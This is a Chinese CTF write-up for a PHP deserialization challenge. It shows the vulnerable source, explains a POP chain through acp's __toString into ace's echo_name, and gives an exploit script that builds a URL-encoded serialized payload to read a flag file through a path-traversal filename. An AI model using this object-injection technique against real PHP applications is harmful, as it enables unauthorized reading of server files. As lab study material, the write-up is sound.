题目
<?php
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
思路
-
触发反序列化:通过GET参数传递序列化字符串。
pks
-
利用类的方法:当对象被当作字符串处理时,会调用属性的方法。
acp
__toString
cinder
echo_name
-
将属性替换为实例:使得调用时触发类的逻辑。
cinder
ace
echo_name
ace
-
满足条件读取文件:在类的方法中,反序列化属性后,确保和全等,从而读取指定的文件。
ace
echo_name
docker
neutron
nova
filename
构造Payload
-
创建对象:用于属性的反序列化,确保和都为。
stdClass
docker
neutron
nova
null
-
构造对象:
ace
-
filename
设为flag.php
-
docker
设为序列化的对象。stdClass
-
构造对象:
acp
-
cinder
属性(protected)设为上述对象。ace
-
neutron
和设为。nova
null
其他做题思路
本题首先想到获取flag,就得通过ace类中的echoname()来执行fileget_contents(flag.php);
不先考虑如何绕过if,先想如何执行ace类中的echo_name()
于是看到上面acp类中有toString()可以调用echo_name() 再想如何调用toString()。
__toString()此魔术方法会在类被当作字符串调用的时候自动触发,比如说echo一个类
于是我们看到最下面的if刚好有echo,需要传入一个序列化的acp类,将会打印"Pk very safe^.^"
这里是因为acp类中function __construct()已经定义实例化一个new pkshow;自然会调用pkshow()的echo——name(),所以我们要修改一下:
function __construct()
{
$this->cinder = new ace;
}
序列化后传入pks打印了"keystone lost~"
总体思路:new ace()————>construct():实例化new ace; 序列化new ace()传入pks————>toString():执行ace的echo_name()
接下来就要考虑如何进入if以及获取flag
public $filename='flag.php';不用说
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
这里让docker直接等于NULL;$this->openstack也自然等于NULL 就可以进入if
EXP
<?php
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
function __toString()
{
}
}
class ace
{
public $filename='../nssctfasdasdflag'; //之前为flag,之后显示出nssctfasdasdflag
public $openstack;
public $docker=NULL;
}
$a= new acp();
echo urlencode(serialize($a));
?>